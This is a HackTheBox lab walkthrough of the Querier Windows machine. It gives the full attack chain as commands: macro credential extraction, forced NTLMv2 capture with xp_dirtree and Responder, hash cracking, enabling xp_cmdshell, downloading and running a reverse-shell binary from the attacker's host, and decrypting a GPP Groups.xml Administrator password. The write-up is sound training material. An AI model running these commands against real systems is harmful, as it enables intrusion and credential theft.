Overview

Querier is a medium HackTheBox Windows machine that starts with a world-readable SMB share containing an Excel spreadsheet whose embedded macro hardcodes MSSQL credentials. Those credentials aren’t privileged enough on their own, but abusing xp_dirtree to force the SQL service account to authenticate to a Responder listener captures its NTLMv2 hash, which cracks offline. The recovered account has sysadmin rights, enabling xp_cmdshell for a straightforward reverse shell. Root exploits an old but still-effective Group Policy Preferences weakness: a Groups.xml file with an encrypted, but publicly known-key, Administrator password.

Attack Chain

  • Scan the target and find SMB, MSSQL, and WinRM, among other Windows service ports
  • Enumerate SMB shares and find a world-readable reports share
  • Download an Excel file containing macros and unzip it to inspect the embedded VBA project
  • Extract hardcoded MSSQL credentials from the macro with strings
  • Connect to MSSQL with the recovered credentials, but find the account lacks sysadmin rights
  • Start a Responder listener and use xp_dirtree to force the SQL service account to authenticate to it
  • Capture and crack the service account’s NTLMv2 hash with john
  • Verify the cracked credentials over SMB, then reconnect to MSSQL with them
  • Confirm sysadmin rights and enable xp_cmdshell
  • Transfer and execute an rcat reverse shell payload through xp_cmdshell
  • Catch a shell as querier\mssql-svc and read the user flag
  • Run PowerUp.ps1 and identify a Group Policy Preferences Groups.xml file as the intended privilege escalation path
  • Transfer Groups.xml and decrypt its embedded password with gpp-decrypt
  • Verify the recovered Administrator credentials over SMB
  • Build a PowerShell credential object and use Invoke-Command to execute a reverse shell as Administrator
  • Catch a shell as Administrator and read the system flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.11.53; export NAME=QUERIER; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results


SMB Enumeration

Recovering MSSQL Credentials from an Excel Macro

We use smbclient to enumerate available shares.

smbclient -N -L //$IP

We find one accessible share, Reports.

smbclient finds the Reports share

We connect to it.

smbclient //$IP/Reports

There’s a file, Currency Volume report.xlsm, which we transfer to our attacking machine.

transferring the xlsm file

An .xlsm file is an Excel file with macros enabled. We unzip it.

unzip Currency\ Volume\ Report.xlsm

Macros are usually stored in xl/vbaProject.bin.

unzipping to find the VBA project

We inspect it with strings.

strings xl/vbaProject.bin

Right at the top, we find MSSQL credentials.

strings reveals MSSQL credentials in the macro

reporting:PcwTWTHRwryjc$c6

Foothold

Connecting to MSSQL

We use impacket-mssqlclient to connect.

impacket-mssqlclient reporting@$IP -windows-auth

We enter the password and connect successfully.

connected with impacket-mssqlclient

We check whether we can enable xp_cmdshell.

enable_xp_cmdshell

We don’t have the necessary permissions.

xp_cmdshell enable fails

We check for sysadmin (SA) privileges.

select IS_SRVROLEMEMBER ('sysadmin')

The response is false.

sysadmin check returns false

Capturing an NTLMv2 Hash

Before diving into the database, we check whether we can capture the hash of the account running MSSQL.

We start Responder in analyse mode.

sudo responder -I tun0 -A

In mssqlclient, we trigger an outbound SMB authentication attempt with xp_dirtree or xp_fileexist:

exec xp_dirtree '\\10.10.14.17\Share\test'

or

exec xp_fileexist '\\10.10.14.17\Share\test'

We execute the command.

executing xp_dirtree

We capture an NTLMv2 hash for mssql-svc.

NTLMv2 hash captured for mssql-svc

We save the hash to a file.

saving the captured hash

We crack it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt creds/mssql-svc_NTLMv2.hash

We recover a password.

john cracks the hash

mssql-svc:corporate568

Enabling xp_cmdshell

We test the credentials with netexec against SMB and WinRM. On SMB, they’re verified.

nxc smb $IP -u 'mssql-svc' -p 'corporate568' --local-auth

netexec verifies the credentials over SMB

We try using these credentials with impacket-mssqlclient.

impacket-mssqlclient mssql-svc@$IP -windows-auth

Entering the password when prompted gives an untrusted domain error.

untrusted domain error

We work around this by supplying the password directly in the connection string.

impacket-mssqlclient mssql-svc:'corporate568'@$IP -windows-auth

We’re connected.

connected with the password inline

We check for sysadmin privileges again.

select IS_SRVROLEMEMBER ('sysadmin')

It returns true, meaning we can enable xp_cmdshell.

sysadmin check returns true

We enable it.

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE
xp_cmdshell whoami

We can execute commands.

xp_cmdshell enabled and executing commands

Reverse Shell as mssql-svc

We download an rcat reverse shell payload.

xp_cmdshell powershell -c iwr http://10.10.14.17/rcat/rcat.exe -Outfile C:\ProgramData\rcat_10.10.14.17_443.exe

The transfer completes without errors.

rcat payload transfer completes

We confirm the payload is in \ProgramData.

xp_cmdshell powershell -c "ls c:\ProgramData -force"

Our rcat payload is at the bottom of the listing.

rcat payload confirmed in ProgramData

We start a nc listener with rlwrap -cAr on port 443 and execute the payload.

xp_cmdshell powershell -c "c:\ProgramData\rcat_10.10.14.17_443.exe"

executing the rcat payload

We have a shell as querier\mssql-svc.

shell as querier\\mssql-svc

We read the user flag.

user flag


Privilege Escalation

Finding Groups.xml

We transfer PowerUp.ps1 and import it.

Import-Module .\PowerUp.ps1
Invoke-AllChecks

There’s an easy path via SeImpersonatePrivilege with a Potato attack, but since this box is older, we go for the intended path.

PowerUp identifies Groups.xml as the intended path

There’s a Group Policy Preferences file, Groups.xml. For this attack, we transfer the file to our attacking machine and use gpp-decrypt to recover the password.

We copy the file to our SMB share.

copy 'C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml' \\10.10.14.17\Share\Groups.xml

We transfer Groups.xml from the share to our working directory. We run gpp-decrypt via Docker for stability, avoiding outdated Python dependencies.

sudo docker build -t gpp-decrypt .
sudo docker run -v $(pwd):/data gpp-decrypt -f "/data/Groups.xml"

We find the Administrator password.

gpp-decrypt recovers the Administrator password

Administrator:MyUnclesAreMarioAndLuigi!!1!

We verify the credentials with netexec.

nxc smb $IP -u 'administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' --local-auth

netexec verifies the Administrator credentials

Reverse Shell as Administrator

We create a PowerShell credential object and use it to execute our rcat reverse shell as Administrator.

$user = "querier\administrator"
$pass = "MyUnclesAreMarioAndLuigi!!1!"
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

We verify the credential object works.

verifying the PowerShell credential object

We execute our rcat reverse shell.

Invoke-Command -ScriptBlock { cmd /c c:\ProgramData\rcat_10.10.14.17_443.exe } -Credential $cred -Computer localhost

executing the reverse shell as Administrator

We catch a shell as Administrator.

shell as Administrator

We read the system flag.

system flag


Key Takeaways

Querier chains three separate credential-exposure patterns, each of which shows up repeatedly in real-world Windows environments. Excel macros with hardcoded database credentials are an easy thing to overlook during code review, but strings finds them just as easily as a determined attacker would. MSSQL’s xp_dirtree and xp_fileexist functions are a well-known coercion primitive for capturing NetNTLMv2 hashes from a service account, useful even without direct database write access. And Group Policy Preferences’ encrypted passwords remain exploitable years after Microsoft published the AES key used to “protect” them, any Groups.xml file found on a domain-joined host should be treated as a plaintext credential.